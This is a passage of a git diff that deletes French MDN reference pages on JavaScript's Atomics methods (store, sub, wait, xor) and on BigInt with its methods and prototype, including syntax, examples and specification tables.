Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position du tableau typedArray à laquelle on souhaite stocker la valeur.
-
valeur
-
Le nombre à enregistrer.
-
- -

Valeur de retour

- -

La valeur qui a été enregistrée.

- -

Exceptions

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Exemples

- -
var buffer = new ArrayBuffer(4);         // Buffer classique
-var float32 = new Float32Array(buffer);  // Nombre flottant
-var uint32 = new Uint32Array(buffer);    // Représentation IEEE754
-
-float32[0] = 0.5;
-console.log("0x" + uint32[0].toString(16));
-
-uint32[0] = 0x3f000000;   /// Représentation sur 32 bits de 0.5 (IEEE754)
-console.log(float32[0]);
-
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.store', 'Atomics.store')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.store")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.load()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/sub/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/sub/index.html deleted file mode 100644 index 3c1dc879a0..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/sub/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: Atomics.sub() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/sub -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub ---- -
{{JSRef}}
- -

La méthode statique Atomics.sub() permet de soustraire une valeur donnée à une position donnée du tableau partagé. Elle renvoie l'ancienne valeur qui était contenue dans le tableau avant l'opération. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

- -
{{EmbedInteractiveExample("pages/js/atomics-sub.html")}}
- - - -

Syntaxe

- -
Atomics.sub(typedArray, index, valeur)
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position du tableau typé typedArray à laquelle on veut soustraire valeur.
-
valeur
-
La quantité qu'on souhaite soustraire.
-
- -

Valeur de retour

- -

L'ancienne valeur qui était contenue à (typedArray[index]).

- -

Exceptions levées

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-var ta = new Uint8Array(sab);
-ta[0] = 48;
-
-Atomics.sub(ta, 0, 12); // renvoie 48, l'ancienne valeur
-Atomics.load(ta, 0);    // 36
-
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.sub', 'Atomics.sub')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.sub")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.add()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/wait/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/wait/index.html deleted file mode 100644 index 430cafd19a..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/wait/index.html +++ /dev/null @@ -1,96 +0,0 @@ ---- -title: Atomics.wait() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/wait -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/wait ---- -
{{JSRef}}
- -

La méthode statique Atomics.wait() permet de vérifier qu'un emplacement d'un tableau {{jsxref("Int32Array")}} contient toujours une valeur donnée et, si c'est le cas, l'agent dort en attendant un réveil ou un délai d'expiration. La méthode renvoie une chaîne qui vaut "ok", "not-equal" ou "timed-out".

- -
-

Note : Cette opération ne fonctionne qu'avec un tableau typé partagé {{jsxref("Int32Array")}} et peut ne pas être autorisée sur le thread principal.

-
- -

Syntaxe

- -
Atomics.wait(typedArray, index, valeur[, timeout])
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé partagé de type {{jsxref("Int32Array")}}.
-
index
-
La position du tableau typé typedArray sur laquelle on attend un changement.
-
valeur
-
La valeur attendue qu'on souhaite tester.
-
timeout {{optional_inline}}
-
Le temps à attendre pour le changement de valeur, exprimé en millisecondes. La valeur par défaut est {{jsxref("Infinity")}}.
-
- -

Valeur de retour

- -

Une chaîne de caractères ({{jsxref("String")}} qui vaut "ok", "not-equal" ou "timed-out" selon le cas.

- -

Exceptions levées

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas un tableau typé partagé de type {{jsxref("Int32Array")}}.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Exemples

- -

Soit un tableau typé partagé Int32Array:

- -
var sab = new SharedArrayBuffer(1024);
-var int32 = new Int32Array(sab);
-
- -

Un thread de lecture est en sommeille et surveille l'emplacement 0 et s'attend à ce que la valeur soit 0. Tant que cette condition est vérifiée, l'exécution n'ira pas plus loin. Lorsque le thread d'écriture a enregistré une nouvelle valeur, le thread de lecture sera notifié par le thread d'écriture et renverra la nouvelle valeur (123).

- -
Atomics.wait(int32, 0, 0);
-console.log(int32[0]); // 123
- -

Un thread d'écriture stocke une nouvelle valeur et notifie le thread de lecture une fois que la valeur a bien été écrite :

- -
console.log(int32[0]); // 0;
-Atomics.store(int32, 0, 123);
-Atomics.wake(int32, 0, 1);
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.wait', 'Atomics.wait')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.wait")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.notify()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/atomics/xor/index.html b/files/fr/web/javascript/reference/objets_globaux/atomics/xor/index.html deleted file mode 100644 index 7aea0aef24..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/atomics/xor/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: Atomics.xor() -slug: Web/JavaScript/Reference/Objets_globaux/Atomics/xor -tags: - - Atomics - - JavaScript - - Mémoire partagée - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/xor ---- -
{{JSRef}}
- -

La méthode statique Atomics.xor() calcule le résultat d'un OU exclusif (XOR) binaire entre une valeur donnée et une valeur du tableau partagé à un emplacement donné. Elle renvoie l'ancienne valeur qui était contenue à cette position. Cette opération atomique garantit qu'aucune autre opération d'écriture n'est appliquée tant que la valeur modifiée n'est pas écrite.

- -
{{EmbedInteractiveExample("pages/js/atomics-xor.html")}}
- - - -

Syntaxe

- -
Atomics.xor(typedArray, index, valeur)
-
- -

Paramètres

- -
-
typedArray
-
Un tableau typé entier partagé parmi {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} ou {{jsxref("Uint32Array")}}.
-
index
-
La position du tableau typedArray à laquelle calculer le OU exclusif binaire.
-
valeur
-
La valeur avec laquelle on souhaite calculer le OU exclusif binaire.
-
- -

Valeur de retour

- -

L'ancienne valeur située à cet emplacement du tableau (typedArray[index]).

- -

Exceptions

- -
    -
  • Cette méthode lève {{jsxref("TypeError")}} si le type de typedArray n'est pas un des types entiers autorisés.
    • -
  • Cette méthode lève {{jsxref("TypeError")}} si typedArray n'est pas tableau typé partagé.
    • -
  • Cette méthode lève {{jsxref("RangeError")}} si index est en dehors des limites de typedArray.
    • -
- -

Description

- -

L'opération binaire OU exclusif (XOR) renvoie 1 si a et b sont différents. La table de vérité correspondante est :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
aba ^ b
000
011
101
110
- -

Par exemple, le calcul d'un OU exclusif binaire entre 5 et 1 (5 ^ 1) renvoie 0100, qui correspond à 4 en notation décimale.

- -
5  0101
-1  0001
-   ----
-4  0100
-
- -

Exemples

- -
var sab = new SharedArrayBuffer(1024);
-var ta = new Uint8Array(sab);
-ta[0] = 5;
-
-Atomics.xor(ta, 0, 1); // renvoie 5, l'ancienne valeur
-Atomics.load(ta, 0);   // 4
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-atomics.xor', 'Atomics.xor')}}{{Spec2('ESDraft')}}Définition initiale avec ES2017.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Atomics.xor")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Atomics")}}
    • -
  • {{jsxref("Atomics.and()")}}
    • -
  • {{jsxref("Atomics.or()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/asintn/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/asintn/index.html deleted file mode 100644 index 8e51d25642..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/bigint/asintn/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: BigInt.asIntN() -slug: Web/JavaScript/Reference/Objets_globaux/BigInt/asIntN -tags: - - BigInt - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN ---- -

{{JSRef}}

- -

La méthode statique BigInt.asIntN() permet d'écréter un nombre BigInt pour obtenir un entier signé entre 2largeur-1 et 2largeur-1-1.

- -
{{EmbedInteractiveExample("pages/js/bigint-asintn.html")}}
- - - -

Syntaxe

- -
var resultat = BigInt.asIntN(largeur, bigint);
- -

Paramètres

- -
-
largeur
-
La quantité de bits disponible pour stocker l'entier.
-
bigint
-
L'entier qu'on souhaite stocker sur le nombre de bits indiqués.
-
- -

Valeur de retour

- -

La valeur de bigint modulo 2largeur comme entier signé.

- -

Exemples

- -

La méthode BigInt.asIntN() peut être utile pour rester dans une arithmétique sur 64 bits :

- -
const max = 2n ** (64n - 1n) - 1n;
-
-BigInt.asIntN(64, max);
-// ↪ 9223372036854775807n
-
-BigInt.asIntN(64, max + 1n);
-// ↪ -9223372036854775807n
-// négatif car dépassement sur le nombre de bits
-
- -

Spécifications

- - - - - - - - - - - - -
SpécificationÉtat
BigInt proposalProposition de niveau 3.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigInt.asIntN")}}

- -

Voir aussi

- -
    -
  • {{JSxRef("BigInt")}}
    • -
  • {{JSxRef("BigInt.asUintN()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/asuintn/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/asuintn/index.html deleted file mode 100644 index 742792d5e6..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/bigint/asuintn/index.html +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: BigInt.asUintN() -slug: Web/JavaScript/Reference/Objets_globaux/BigInt/asUintN -tags: - - BigInt - - Experimental - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN ---- -

{{JSRef}}

- -

La méthode statique BigInt.asUintN() permet d'écréter un BigInt pour ramener sa valeur sur un entier non-signé entre 0 et 2largeur-1.

- -
{{EmbedInteractiveExample("pages/js/bigint-asuintn.html")}}
- - - -

Syntaxe

- -
var résultat = BigInt.asUintN(largeur, bigint);
- -

Paramètres

- -
-
largeur
-
Le nombre de bits disponible pour stocker l'entier.
-
bigint
-
L'entier qu'on souhaite stocker sur le nombre de bits indiqués.
-
- -

Valeur de retour

- -

La valeur de bigint modulo 2largeur comme un entier non signé.

- -

Exemples

- -

La méthode BigInt.asUintN() peut s'avérer utile pour rester dans une arithmétique exprimée sur 64 bits .

- -
const max = 2n ** 64n - 1n;
-
-BigInt.asUintN(64, max);
-// ↪ 18446744073709551615n
-
-BigInt.asUintN(64, max + 1n);
-// ↪ 0n
-// zéro en raison du dépassement
- -

Spécifications

- - - - - - - - - - - - -
SpécificationÉtat
Proposition pour BigIntProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigInt.asUintN")}}

- -

Voir aussi

- -
    -
  • {{JSxRef("BigInt")}}
    • -
  • {{JSxRef("BigInt.asIntN()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/index.html deleted file mode 100644 index 1310b8c442..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/bigint/index.html +++ /dev/null @@ -1,283 +0,0 @@ ---- -title: BigInt -slug: Web/JavaScript/Reference/Objets_globaux/BigInt -tags: - - BigInt - - Experimental - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt ---- -
{{JSRef}}
- -

BigInt est un objet natif qui permet de représenter des nombres entiers supérieurs à 253 (la plus grande valeur entière qui puisse être représentée par le type primitif {{jsxref("Number")}}). BigInt peut être utilisé afin de représenter de grands entiers de n'importe quelle taille.

- -
-

Note : BigInt est actuellement une proposition de niveau 3 pour la spécification ECMAScript.

- -

Lorsque cette proposition atteindra le niveau 4 (soit la spécification finale), BigInt sera le deuxième type natif disponible en JavaScript pour représenter des valeurs numériques.

- -

BigInt sera ainsi le prochain type primitif ajouté à JavaScript depuis {{JSxRef("Symbol")}} avec ES2015

-
- -

Syntaxe

- -
BigInt(valeur);
-
- -

Paramètres

- -
-
valeur
-
La valeur numérique de l'objet qu'on souhaite créer. Cet argument peut être une chaîne de caractères ou un entier.
-
- -
-

Note : BigInt() n'est pas censé être utilisé avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}}.

-
- -
-
- -

Description

- -

Un objet BigInt est créé en ajoutant un n à la fin d'un littéral d'entier — 10n par exemple — ou en appelant la fonction BigInt().

- -
const plusGrandEntier = 9007199254740991n;
-
-const grandNombre = BigInt(9007199254740991);
-// ↪ 9007199254740991n
-
-const grandNombreEnChaîne = BigInt('9007199254740991');
-// ↪ 9007199254740991n
-
-const grandeNombreHexa = BigInt("0x1fffffffffffff");
-// ↪ 9007199254740991n
-
-const grandeNombreBinaire = BigInt("0b11111111111111111111111111111111111111111111111111111");
-// ↪ 9007199254740991n
- -

Les objets BigInt sont semblables aux objets {{jsxref("Number")}} selon certains aspects mais avec quelques différences clés. Les objets BigInt ne peuvent pas êre utilisés avec l'objet {{jsxref("Math")}} et ne peuvent pas être manipulés avec des opérations qui impliquent des objets {{jsxref("Number")}}.

- -
-

Attention ! Il est nécessaire de convertir des valeurs {{jsxref("Number")}} ou BigInt dans les opérations qui les combinent.

- -

Attention lors de ces conversions car la précision d'une valeur BigInt peut être perdue lorsque ce dernier est converti en {{jsxref("Number")}}.

-
- -

Type

- -

Lorsqu'on utilise typeof sur une valeur BigInt, cet opérateur renverra "bigint" :

- -
typeof 1n === "bigint"; // true
-typeof BigInt("1") === "bigint"; // true
- -

Lorsqu'on « enveloppe » la valeur dans un objet, on aura alors un type "object" (comme pour les autres valeurs primitives lorsqu'on les enveloppe dans le constructeur objet) :

- -
typeof Object(1n) === "object"; // true
- -

Opérateurs

- -

On peut utiliser les opérateurs suivants avec les objets BigInt : +, `*`, `-`, `**`, `%` , les opérateurs binaires (à l'exception de >>> / décalage à droite avec des zéros) car les grands entiers sont signés. Le + unaire n'est pas non plus pris en charge (afin de ne pas casser asm.js).

- -
const nombreSain = BigInt(Number.MAX_SAFE_INTEGER);
-// ↪ 9007199254740991
-
-const maxPlusUn = nombreSain + 1n;
-// ↪ 9007199254740992n
-
-const leFutur = nombreSain + 2n;
-// ↪ 9007199254740993n, cela fonctionne désormais !
-
-const multi = nombreSain * 2n;
-// ↪ 18014398509481982n
-
-const subtr = multi – 10n;
-// ↪ 18014398509481972n
-
-const mod = multi % 10n;
-// ↪ 2n
-
-const bigN = 2n ** 54n;
-// ↪ 18014398509481984n
-
-bigN * -1n
-// ↪ –18014398509481984n
-
- -

L'opérateur / fonctionne de façon analogue aux nombres classiques. Toutefois, les objets BigInt permettent uniquement de représenter des entiers et non des nombres décimaux. Aussi, la division ne produira pas de partie décimale pour les BigInt.

- -
const attendu = 4n / 2n;
-// ↪ 2n
-
-const tronque = 5n / 2n;
-// ↪ 2n et pas 2.5n
-
-
- -

Comparaisons

- -

Un objet BigInt n'est pas strictement égal à {{jsxref( "Number")}} mais peut l'être au sens de l'égalité faible.

- -
0n === 0
-// ↪ false
-
-0n == 0
-// ↪ true
- -

On peut toutefois comparer des objets {{jsxref("Number")}} et BigInt :

- -
1n < 2
-// ↪ true
-
-2n > 1
-// ↪ true
-
-2 > 2
-// ↪ false
-
-2n > 2
-// ↪ false
-
-2n >= 2
-// ↪ true
- -

On peut également mélanger ces valeurs au sein de tableaux :

- -
const mixed = [4n, 6, -12n, 10, 4, 0, 0n];
-// ↪  [4n, 6, -12n, 10, 4, 0, 0n]
-
-mixed.sort();
-// ↪ [-12n, 0, 0n, 10, 4n, 4, 6]
- -

On notera que les comparaisons entre les valeurs BigInt et les mêmes valeurs, passées dans le constructeur Object() ne seront pas équivalentes au sens strict :

- -
0n === Object(0n); // false
-Object(0n) === Object(0n); // false
-
-const o = Object(0n);
-o === o; // true
- -

Opérations conditionnelles

- -

Un objet BigInt se comporte comme un objet {{jsxref("Number")}} lorsqu'il est utilisé dans un contexte booléen : comme argument pour le constructeur {{jsxref("Boolean")}}, comme opérandes pour les opérateurs logiques ||, `&&` et ! ou avec les instructions conditonnelles telles que if.

- -
if (0n) {
-  console.log('Nous voici dans le if !');
-} else {
-  console.log('Et nous voilà dans le else !');
-}
-
-// ↪ "Et nous voilà dans le else !"
-
-0n || 12n
-// ↪ 12n
-
-0n && 12n
-// ↪ 0n
-
-Boolean(0n)
-// ↪ false
-
-Boolean(12n)
-// ↪ true
-
-!12n
-// ↪ false
-
-!0n
-// ↪ true
-
- -

Méthodes

- -
-
BigInt.asIntN()
-
Écrète un objet BigInt pour obtenir un entier signé entre -2largeur-1 et 2largeur-1-1
-
BigInt.asUintN()
-
Écrète un objet BigInt pour obtenir un entier non-signé entre 0 et 2largeur-1
-
- -

Propriétés

- -
-
{{jsxref("BigInt.prototype")}}
-
Cette propriété permet d'ajouter des propriétés aux objets BigInt.
-
- -

Instances de BigInt

- -

L'ensemble des instances de BigInt héritent de BigInt.prototype. Le prototype du constructeur BigInt peut être modifié afin de modifier l'ensemble des instances de BigInt.

- -

Méthodes

- -

{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/BigInt/prototype', 'Méthodes')}}

- -

Recommandations

- -

Coercition en Number

- -

Lorsqu'on convertit une valeur BigInt en {{jsxref("Objets_globaux/Number","Number")}}, on perd en précision. Si on effectue des allers-retours entre ces deux types, on ne conservera pas la même valeur. Aussi, il est recommandé d'utiliser uniquement BigInt lorsque les valeurs qu'on manipule seront supérieures à 253 et qu'il ne sera pas nécessaire de passer d'un type à l'autre.

- -

Cryptographie

- -

Les opérations prises en charge pour les valeurs BigInt ne s'effectuent pas à temps constant. Aussi, BigInt ne serait être utilisé à des fins cryptographiques.

- -

Exemples

- -

Calculer des nombres premiers

- -
function isPrime(p) {
-  for (let i = 2n; i * i <= p; i++) {
-    if (p % i === 0n) return false;
-  }
-  return true;
-}
-
-// Takes a BigInt as an argument and returns a BigInt
-function nthPrime(nth) {
-  let maybePrime = 2n;
-  let prime = 0n;
-
-  while (nth >= 0n) {
-    if (isPrime(maybePrime)) {
-      nth -= 1n;
-      prime = maybePrime;
-    }
-    maybePrime += 1n;
-  }
-
-  return prime;
-}
-
-nthPrime(20n)
-// ↪ 73n
- -

Spécifications

- - - - - - - - - - - - - - -
SpécificationÉtat
BigIntBrouillon de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigInt")}}

- -

Voir aussi

- -
    -
  • {{jsxref("Number")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/prototype/index.html deleted file mode 100644 index e746754e5e..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/bigint/prototype/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: BigInt.prototype -slug: Web/JavaScript/Reference/Objets_globaux/BigInt/prototype -tags: - - BigInt - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/prototype ---- -
{{JSRef}}
- -

La propriété BigInt.prototype représente le prototype du constructeur {{jsxref("BigInt")}}.

- -

{{js_property_attributes(0, 0, 0)}}

- -

Description

- -

L'ensemble des instances de {{jsxref("BigInt")}} héritent de BigInt.prototype. Le prototype du constructeur {{jsxref("BigInt")}} peut être modifié afin de modifier l'ensemble des instances de {{jsxref( "BigInt")}}.

- -

Propriétés

- -
-
BigInt.prototype.constructor
-
Cette propriété renvoie la fonction qui a crée cette instance. Par défaut, c'est l'objet {{jsxref("BigInt")}}.
-
- -

Méthodes

- -
-
{{jsxref("BigInt.prototype.toLocaleString()")}}
-
Cette méthode renvoie une chaîne de caractères représentant le nombre et adaptée à la locale choisie. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
-
{{jsxref("BigInt.prototype.toString()")}}
-
Cette méthode renvoie une chaîne de caractères représentant l'objet selon la base indiquée. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("BigInt.prototype.valueOf()")}}
-
Cette méthode renvoie la valeur primitive de l'objet indiqué. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
-
- -

Spécifications

- - - - - - - - - - - - - - - - -
SpécificationEtatCommentaires
BigInt.prototypeBrouillon de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigInt.prototype")}}

diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/tolocalestring/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/tolocalestring/index.html deleted file mode 100644 index 652cd723aa..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/bigint/tolocalestring/index.html +++ /dev/null @@ -1,132 +0,0 @@ ---- -title: BigInt.prototype.toLocaleString() -slug: Web/JavaScript/Reference/Objets_globaux/BigInt/toLocaleString -tags: - - BigInt - - Internationalisation - - Intl - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toLocaleString ---- -
{{JSRef}}
- -

La méthode toLocaleString() renvoie une chaîne de caractères représentant le grand entier pour la ou les locale(s) indiquée(s).

- -
{{EmbedInteractiveExample("pages/js/bigint-tolocalestring.html")}}
- - - -

Syntaxe

- -
bigIntObj.toLocaleString([locales [, options]])
- -

Paramètres

- -
-
locales {{optional_inline}}
-
Une chaine de caractères avec un identifiant de langue BCP 47, ou un tableau de ce type de chaine de caractères. Pour le format général et l'interprétation de l'argument locales. Pour plus de détails quant à la forme et l'interprétation de l'argument locales, on consultera la page {{jsxref("Intl")}}.
-
options {{optional_inline}}
-
Un objet qui contient des propriétés de configuration. Pour les nombres, consulter {{jsxref("Number.prototype.toLocaleString()")}}, pour les dates, consulter {{jsxref("Date.prototype.toLocaleString()")}}.
-
- -

Valeur de retour

- -

Une chaîne de caractères qui représente le grand entier selon la ou les locales et les options indiquées.

- -

Exemples

- -

Utiliser toLocaleString()

- -

Voici un exemple d'utilisation simple, sans indiquer de locale ni d'options.

- -
var bigint = 3500n;
-
-bigint.toLocaleString();
-// Affichera "3500" en français
-
- -

Utiliser locales

- -

Cet exemple illustre certaines variations pour la représentation d'une même valeur en fonction des différentes locales. En fonction de la langue utilisée par l'utilisateur et par votre interface, vous pourrez utiliser locales pour indiquer la locale ciblée :

- -
var bigint = 123456789123456789n;
-
-// En allemand, on utilise les points pour séparer
-// les milliers
-console.log(bigint.toLocaleString('de-DE'));
-// → 123.456.789.123.456.789
-
-// La plupart des pays arabes utilise
-// des chiffres hindoux-arabes
-console.log(bigint.toLocaleString('ar-EG'));
-// → ١٢٣٬٤٥٦٬٧٨٩٬١٢٣٬٤٥٦٬٧٨٩
-
-// India utilise des séparateurs pour
-// les milliers/lakh/crore
-console.log(bigint.toLocaleString('en-IN'));
-// → 1,23,45,67,89,12,34,56,789
-
-// La clé d'extension requiert un système de numérotation
-// par exemple, le système décimal chinois
-console.log(bigint.toLocaleString('zh-Hans-CN-u-nu-hanidec'));
-// → 一二三,四五六,七八九,一二三,四五六,七八九
-
-// Lorsqu'on demande une langue qui peut ne pas être prise
-// en charge (ici le balinais), on peut ajouter une autre
-// locale qui sera utilisée en recours (ici l'indonésien)
-console.log(bigint.toLocaleString(['ban', 'id']));
-// → 123.456.789.123.456.789
-
- -

Utiliser options

- -

Ici, on personnalise le résultat fourni par toLocaleString() grâce à l'argument options :

- -
var bigint = 123456789123456789n;
-
-// On utilise un format avec une devise
-console.log(bigint.toLocaleString('de-DE', { style: 'currency', currency: 'EUR' }));
-// → 123.456.789.123.456.789,00 €
-
-// Le yen japonais n'utilise pas de sous-unité
-console.log(bigint.toLocaleString('ja-JP', { style: 'currency', currency: 'JPY' }))
-// → ￥123,456,789,123,456,789
-
-// On limite l'écriture aux trois premiers chiffres significatifs
-console.log(bigint.toLocaleString('en-IN', { maximumSignificantDigits: 3 }));
-// → 1,23,00,00,00,00,00,00,000
-
- -

Performance

- -

Lorsqu'on souhaite mettre en forme une grande quantité de nombres, mieux vaudra créer un objet {{jsxref("NumberFormat")}} et utiliser la fonction fournie par sa propriété {{jsxref("NumberFormat.format")}}.

- -

Spécifications

- - - - - - - - - - - - -
SpécificationÉtat
BigIntProposition de niveau 3.
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigInt.toLocaleString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("BigInt.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/bigint/tostring/index.html b/files/fr/web/javascript/reference/objets_globaux/bigint/tostring/index.html deleted file mode 100644 index 9718891da1..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/bigint/tostring/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: BigInt.prototype.toString() -slug: Web/JavaScript/Reference/Objets_globaux/BigInt/toString -tags: - - BigInt - - JavaScript - - Méthode - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toString ---- -
{{JSRef}}
- -

The toString() method returns a string representing the specified {{jsxref("BigInt")}} object. The trailing "n" is not part of the string.

- -
{{EmbedInteractiveExample("pages/js/bigint-tostring.html")}}
- - - -

Syntaxe

- -
bigIntObj.toString([base])
- -

Paramètres

- -
-
base{{optional_inline}}
-
Ce paramètre optionnel est compris entre 2 et 36 et indique la base à utiliser pour représenter les valeurs numériques.
-
- -

Valeur de retour

- -

Une chaîne de caractères représentant l'objet {{jsxref("BigInt")}} courant.

- -

Exceptions

- -
-
{{jsxref("RangeError")}}
-
Si la base fournie comme argument toString() est inférieure à 2 ou supérieure à 36, cela déclenchera une exception {{jsxref("RangeError")}}.
-
- -

Description

- -

L'objet {{jsxref("BigInt")}} surcharge la méthode toString() de {{jsxref("Object")}}. Il n'hérite pas ou n'utilise pas {{jsxref("Object.prototype.toString()")}}. Pour les objets {{jsxref( "BigInt")}}, la méthode toString() renvoie une représentation textuelle de l'objet dans la base indiquée.

- -

La méthode toString() analyse le premier argument qui lui est passé et tente de renvoyer une représentation textuelle dans cette base. Pour les bases supérieures à 10, ce seront les lettres de l'alphabet pour indiquer les chiffres supérieurs à 9. Pour les nombres hexadécimaux (base 16), les lettres a à f sont utilisées par exemple.

- -

Si l'argument base n'est pas indiquée, ce sera la base 10 qui sera considérée par défaut.

- -

Si bigIntObj est négatif, le signe est conservé, y compris lorsque la base est 2 (dans ce cas, la chaîne renvoyée sera la représentation binaire précédée par un signe - et non le complément à deux de bigIntObj).

- -

Exemples

- -

Utiliser toString()

- -
17n.toString();      // '17'
-66n.toString(2);     // '1000010'
-254n.toString(16);   // 'fe'
--10n.toString(2);    // -1010'
--0xffn.toString(2);  // '-11111111'
-
- -

Gestion du zéro négatif en BigInt

- -

Il n'existe pas de zéro négatif pour BigInt car les entiers ne gèrent pas de concept de zéro négatif. -0.0 est un concept relatif à la représentation flottante IEEE et n'est présent que pour le type {{jsxref("Number")}}.

- -
(-0n).toString();      // '0'
-BigInt(-0).toString(); // '0'
- -

Spécifications

- - - - - - - - - - - - -
SpécificationÉtat
Proposition pour BigIntProposition de niveau 3
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.BigInt.toString")}}

- -

Voir aussi

- -
    -
  • {{jsxref("BigInt.prototype.toLocaleString()")}}
    • -
  • {{jsxref("BigInt.prototype.valueOf()")}}
    • -
  • {{jsxref("Number.prototype.toString()")}}
    • -
